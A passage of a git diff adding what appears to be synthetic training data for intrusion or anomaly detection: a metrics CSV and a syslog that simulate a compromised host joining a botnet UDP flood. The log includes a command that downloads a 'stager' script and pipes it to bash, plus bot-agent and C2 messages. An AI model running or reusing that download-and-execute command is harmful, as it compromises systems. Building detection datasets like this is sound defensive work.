LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=39876 DPT=80 LEN=1480 +Jul 15 10:06:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=30207 DPT=80 LEN=1480 +Jul 15 10:06:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=17861 DPT=80 LEN=1480 +Jul 15 10:06:25 webapp[5432]: 192.168.1.56 - - [15/Jul/2025:10:06:25 ] "GET /health" 200 12 +Jul 15 10:06:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=43253 DPT=80 LEN=1480 +Jul 15 10:06:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=24744 DPT=80 LEN=1480 +Jul 15 10:06:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=18274 DPT=80 LEN=1480 +Jul 15 10:06:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=64410 DPT=80 LEN=1480 +Jul 15 10:06:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=29394 DPT=80 LEN=1480 +Jul 15 10:06:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=20954 DPT=80 LEN=1480 +Jul 15 10:06:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=19947 DPT=80 LEN=1480 +Jul 15 10:06:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=54244 DPT=80 LEN=1480 +Jul 15 10:06:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=17322 DPT=80 LEN=1480 +Jul 15 10:06:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=56320 DPT=80 LEN=1480 +Jul 15 10:06:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=36806 DPT=80 LEN=1480 +Jul 15 10:06:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=45988 DPT=80 LEN=1480 +Jul 15 10:06:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=57056 DPT=80 LEN=1480 +Jul 15 10:06:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=24916 DPT=80 LEN=1480 +Jul 15 10:06:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=46030 DPT=80 LEN=1480 +Jul 15 10:06:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=43742 DPT=80 LEN=1480 +Jul 15 10:06:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=28563 DPT=80 LEN=1480 +Jul 15 10:06:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=59010 DPT=80 LEN=1480 +Jul 15 10:06:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=39590 DPT=80 LEN=1480 +Jul 15 10:06:40 CRON[1880]: (root) CMD ( /usr/lib/snapd/snapd --review) +Jul 15 10:06:40 kernel: [1423.456789] C2_AGENT[8899]: Attack command finished. Returning to idle state. diff --git a/mali_dataset/scenario_2/mali_2_6.csv b/mali_dataset/scenario_2/mali_2_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..223235cf8286e8e21b59a4068c6461cd17289d7e --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-16T14:00:00Z,17.22,44.28,23.44,1.71,2.84 +2025-08-16T14:00:05Z,11.32,49.9,26.3,1.84,1.75 +2025-08-16T14:00:10Z,12.84,42.61,25.28,1.28,2.63 +2025-08-16T14:00:15Z,8.59,44.88,25.65,1.45,2.92 +2025-08-16T14:00:20Z,13.44,44.99,33.85,1.09,2.43 +2025-08-16T14:00:25Z,12.5,40.6,22.17,1.23,1.77 +2025-08-16T14:00:30Z,9.87,46.73,26.89,1.89,1.68 +2025-08-16T14:00:35Z,15.81,42.72,24.77,1.84,2.24 +2025-08-16T14:00:40Z,14.33,44.26,32.32,1.59,2.5 +2025-08-16T14:00:45Z,11.08,41.93,26.11,1.1,2.06 +2025-08-16T14:00:50Z,8.06,48.38,23.34,1.45,1.86 +2025-08-16T14:00:55Z,10.26,45.35,29.59,1.71,1.97 +2025-08-16T14:01:00Z,8.96,46.66,32.58,1.08,2.51 +2025-08-16T14:01:05Z,11.58,45.16,26.56,1.5,2.95 +2025-08-16T14:01:10Z,13.92,48.09,21.18,1.33,2.9 +2025-08-16T14:01:15Z,9.0,49.78,25.43,1.38,2.31 +2025-08-16T14:01:20Z,11.76,49.76,30.8,1.68,2.85 +2025-08-16T14:01:25Z,15.9,46.78,21.7,1.49,2.09 +2025-08-16T14:01:30Z,9.06,41.73,24.66,1.94,1.83 +2025-08-16T14:01:35Z,12.81,47.19,21.52,1.66,1.92 +2025-08-16T14:01:40Z,10.35,43.06,26.7,1.48,1.6 +2025-08-16T14:01:45Z,17.36,45.88,23.26,1.26,1.81 +2025-08-16T14:01:50Z,9.53,46.58,33.72,1.73,2.05 +2025-08-16T14:01:55Z,14.45,49.0,24.72,1.47,2.76 +2025-08-16T14:02:00Z,10.91,41.46,25.78,1.1,1.56 +2025-08-16T14:02:05Z,11.33,41.67,33.2,1.4,1.73 +2025-08-16T14:02:10Z,16.21,48.83,22.45,1.81,1.52 +2025-08-16T14:02:15Z,10.95,47.96,21.89,1.83,2.34 +2025-08-16T14:02:20Z,17.16,40.57,22.49,1.67,2.0 +2025-08-16T14:02:25Z,96.84,54.58,3.38,0.3,1059.01 +2025-08-16T14:02:30Z,96.25,54.91,3.84,0.42,1126.28 +2025-08-16T14:02:35Z,96.53,52.31,3.87,0.26,1125.28 +2025-08-16T14:02:40Z,97.16,58.36,5.64,0.39,1165.0 +2025-08-16T14:02:45Z,99.58,50.5,5.38,0.53,1064.0 +2025-08-16T14:02:50Z,98.07,51.95,4.21,0.52,1152.07 +2025-08-16T14:02:55Z,98.97,51.52,4.03,0.34,1190.93 +2025-08-16T14:03:00Z,99.96,50.18,4.91,0.29,1003.75 +2025-08-16T14:03:05Z,98.59,57.27,4.46,0.51,1029.89 +2025-08-16T14:03:10Z,97.74,55.88,4.95,0.35,940.85 +2025-08-16T14:03:15Z,98.84,52.56,4.71,0.25,967.49 +2025-08-16T14:03:20Z,97.32,51.51,5.97,0.5,941.62 +2025-08-16T14:03:25Z,97.7,53.45,4.9,0.47,1052.71 +2025-08-16T14:03:30Z,96.1,58.4,2.69,0.55,1015.08 +2025-08-16T14:03:35Z,97.05,51.93,4.21,0.22,1191.36 +2025-08-16T14:03:40Z,96.67,55.91,5.65,0.52,1005.05 +2025-08-16T14:03:45Z,97.61,57.05,2.75,0.37,1131.66 +2025-08-16T14:03:50Z,99.97,58.06,2.94,0.53,1006.65 +2025-08-16T14:03:55Z,96.82,53.91,2.97,0.27,1153.15 +2025-08-16T14:04:00Z,99.43,56.91,3.83,0.22,968.28 +2025-08-16T14:04:05Z,96.31,57.54,3.96,0.25,1063.54 +2025-08-16T14:04:10Z,99.99,54.56,5.48,0.46,1043.32 +2025-08-16T14:04:15Z,98.7,59.75,5.58,0.56,919.87 +2025-08-16T14:04:20Z,98.63,50.15,3.23,0.37,1181.51 +2025-08-16T14:04:25Z,98.38,53.78,5.12,0.6,1171.03 +2025-08-16T14:04:30Z,97.88,55.79,4.9,0.42,1101.1 +2025-08-16T14:04:35Z,96.86,50.5,3.16,0.5,1098.11 +2025-08-16T14:04:40Z,98.78,55.29,2.74,0.38,1099.16 +2025-08-16T14:04:45Z,99.11,54.31,3.68,0.55,1010.64 +2025-08-16T14:04:50Z,98.73,58.64,5.25,0.22,956.76 +2025-08-16T14:04:55Z,98.16,53.44,3.44,0.47,982.96 +2025-08-16T14:05:00Z,97.2,57.28,3.54,0.45,971.1 +2025-08-16T14:05:05Z,98.96,54.04,5.9,0.38,912.19 +2025-08-16T14:05:10Z,99.2,53.17,2.29,0.44,999.03 +2025-08-16T14:05:15Z,97.92,57.86,2.16,0.52,1167.78 +2025-08-16T14:05:20Z,98.44,52.7,5.06,0.23,1177.06 +2025-08-16T14:05:25Z,96.1,55.61,4.36,0.51,975.99 +2025-08-16T14:05:30Z,96.77,55.34,5.28,0.32,1190.53 +2025-08-16T14:05:35Z,98.72,59.96,3.64,0.4,1042.35 +2025-08-16T14:05:40Z,99.98,55.92,5.69,0.55,1150.44 +2025-08-16T14:05:45Z,96.81,51.53,5.53,0.39,982.31 +2025-08-16T14:05:50Z,96.22,51.93,2.97,0.39,1043.19 +2025-08-16T14:05:55Z,97.31,55.82,4.65,0.47,1054.45 +2025-08-16T14:06:00Z,96.58,51.77,2.71,0.45,1041.66 +2025-08-16T14:06:05Z,96.26,59.71,2.72,0.58,982.57 +2025-08-16T14:06:10Z,99.05,55.21,2.36,0.26,971.67 +2025-08-16T14:06:15Z,98.17,55.4,4.25,0.22,1143.82 +2025-08-16T14:06:20Z,98.97,52.86,4.93,0.22,919.98 +2025-08-16T14:06:25Z,96.05,52.61,3.37,0.55,937.66 +2025-08-16T14:06:30Z,98.12,55.15,2.66,0.48,1030.11 +2025-08-16T14:06:35Z,12.67,49.51,27.96,1.15,2.79 +2025-08-16T14:06:40Z,18.81,47.25,27.74,1.74,3.39 +2025-08-16T14:06:45Z,12.81,42.51,28.12,1.73,2.4 +2025-08-16T14:06:50Z,13.03,49.39,24.06,1.2,2.45 +2025-08-16T14:06:55Z,10.27,43.46,34.07,1.0,2.71 +2025-08-16T14:07:00Z,15.3,50.38,32.3,0.89,3.25 +2025-08-16T14:07:05Z,18.48,47.74,33.49,1.4,3.46 +2025-08-16T14:07:10Z,19.58,44.71,26.94,1.16,3.1 +2025-08-16T14:07:15Z,13.33,44.94,36.87,0.87,2.36 +2025-08-16T14:07:20Z,11.1,45.01,30.85,1.44,2.56 +2025-08-16T14:07:25Z,10.01,46.56,28.47,1.55,2.16 diff --git a/mali_dataset/scenario_2/mali_2_6.log b/mali_dataset/scenario_2/mali_2_6.log new file mode 100644 index 0000000000000000000000000000000000000000..85a362b33a9c09c4a41d6d660393236ba2a7de06 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_6.log @@ -0,0 +1,366 @@ +Aug 16 14:00:00 systemd[1]: Starting Clean php session files... +Aug 16 14:00:05 CRON[1901]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 14:00:25 webapp-db[1234]: LOG: checkpoint starting: time +Aug 16 14:01:05 CRON[1913]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 14:01:40 systemd[1]: Starting Clean php session files... +Aug 16 14:02:05 CRON[1925]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 14:02:25 bash[23456]: (root) CMD (wget -q -O - http://192.168.50.10/stager | bash) +Aug 16 14:02:27 bot-agent[23499]: Executing UDP flood against 203.0.113.74:80 +Aug 16 14:02:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=53391 DPT=80 +Aug 16 14:02:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=18965 DPT=80 +Aug 16 14:02:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=62518 DPT=80 +Aug 16 14:02:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=61426 DPT=80 +Aug 16 14:02:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=49705 DPT=80 +Aug 16 14:02:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=19706 DPT=80 +Aug 16 14:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=64367 DPT=80 +Aug 16 14:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=34365 DPT=80 +Aug 16 14:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=26283 DPT=80 +Aug 16 14:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=14961 DPT=80 +Aug 16 14:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=40756 DPT=80 +Aug 16 14:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=21892 DPT=80 +Aug 16 14:02:40 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 14:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=30082 DPT=80 +Aug 16 14:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=62094 DPT=80 +Aug 16 14:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=35084 DPT=80 +Aug 16 14:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=25456 DPT=80 +Aug 16 14:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=42561 DPT=80 +Aug 16 14:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=27663 DPT=80 +Aug 16 14:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=64598 DPT=80 +Aug 16 14:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=28498 DPT=80 +Aug 16 14:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=52000 DPT=80 +Aug 16 14:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=16026 DPT=80 +Aug 16 14:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=36680 DPT=80 +Aug 16 14:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=34227 DPT=80 +Aug 16 14:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=41461 DPT=80 +Aug 16 14:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=58872 DPT=80 +Aug 16 14:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=45684 DPT=80 +Aug 16 14:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=10247 DPT=80 +Aug 16 14:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=50400 DPT=80 +Aug 16 14:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=26535 DPT=80 +Aug 16 14:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=25149 DPT=80 +Aug 16 14:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=38482 DPT=80 +Aug 16 14:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=54907 DPT=80 +Aug 16 14:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=57824 DPT=80 +Aug 16 14:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=17155 DPT=80 +Aug 16 14:02:55 webapp-db[1234]: LOG: checkpoint starting: time +Aug 16 14:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=36619 DPT=80 +Aug 16 14:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=21847 DPT=80 +Aug 16 14:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=34987 DPT=80 +Aug 16 14:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=43028 DPT=80 +Aug 16 14:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=59921 DPT=80 +Aug 16 14:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=35321 DPT=80 +Aug 16 14:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=35281 DPT=80 +Aug 16 14:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=19366 DPT=80 +Aug 16 14:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=11968 DPT=80 +Aug 16 14:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=14673 DPT=80 +Aug 16 14:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=56973 DPT=80 +Aug 16 14:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=43616 DPT=80 +Aug 16 14:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=51249 DPT=80 +Aug 16 14:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=37864 DPT=80 +Aug 16 14:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=17646 DPT=80 +Aug 16 14:03:05 CRON[1937]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 14:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=21181 DPT=80 +Aug 16 14:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=34823 DPT=80 +Aug 16 14:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=34266 DPT=80 +Aug 16 14:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=22390 DPT=80 +Aug 16 14:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=60026 DPT=80 +Aug 16 14:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=57370 DPT=80 +Aug 16 14:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=32392 DPT=80 +Aug 16 14:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=59027 DPT=80 +Aug 16 14:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=22225 DPT=80 +Aug 16 14:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=61274 DPT=80 +Aug 16 14:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=47593 DPT=80 +Aug 16 14:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=29390 DPT=80 +Aug 16 14:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=11321 DPT=80 +Aug 16 14:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=56733 DPT=80 +Aug 16 14:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=44784 DPT=80 +Aug 16 14:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=23860 DPT=80 +Aug 16 14:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=57892 DPT=80 +Aug 16 14:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=17183 DPT=80 +Aug 16 14:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=62871 DPT=80 +Aug 16 14:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=23495 DPT=80 +Aug 16 14:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=10876 DPT=80 +Aug 16 14:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=54983 DPT=80 +Aug 16 14:03:20 systemd[1]: Starting Clean php session files... +Aug 16 14:03:20 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 14:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=51326 DPT=80 +Aug 16 14:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=24252 DPT=80 +Aug 16 14:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=24631 DPT=80 +Aug 16 14:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=54671 DPT=80 +Aug 16 14:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=13059 DPT=80 +Aug 16 14:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=55274 DPT=80 +Aug 16 14:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=59829 DPT=80 +Aug 16 14:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=37593 DPT=80 +Aug 16 14:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=23056 DPT=80 +Aug 16 14:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=53046 DPT=80 +Aug 16 14:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=39303 DPT=80 +Aug 16 14:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=61362 DPT=80 +Aug 16 14:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=23016 DPT=80 +Aug 16 14:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=31782 DPT=80 +Aug 16 14:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=22404 DPT=80 +Aug 16 14:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=17729 DPT=80 +Aug 16 14:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=31682 DPT=80 +Aug 16 14:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=56782 DPT=80 +Aug 16 14:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=14495 DPT=80 +Aug 16 14:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=21404 DPT=80 +Aug 16 14:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=55137 DPT=80 +Aug 16 14:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=13374 DPT=80 +Aug 16 14:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=29754 DPT=80 +Aug 16 14:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=63648 DPT=80 +Aug 16 14:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=29310 DPT=80 +Aug 16 14:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=58365 DPT=80 +Aug 16 14:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=30894 DPT=80 +Aug 16 14:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=11224 DPT=80 +Aug 16 14:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=65310 DPT=80 +Aug 16 14:03:40 kernel: [NETFILTER] Packet 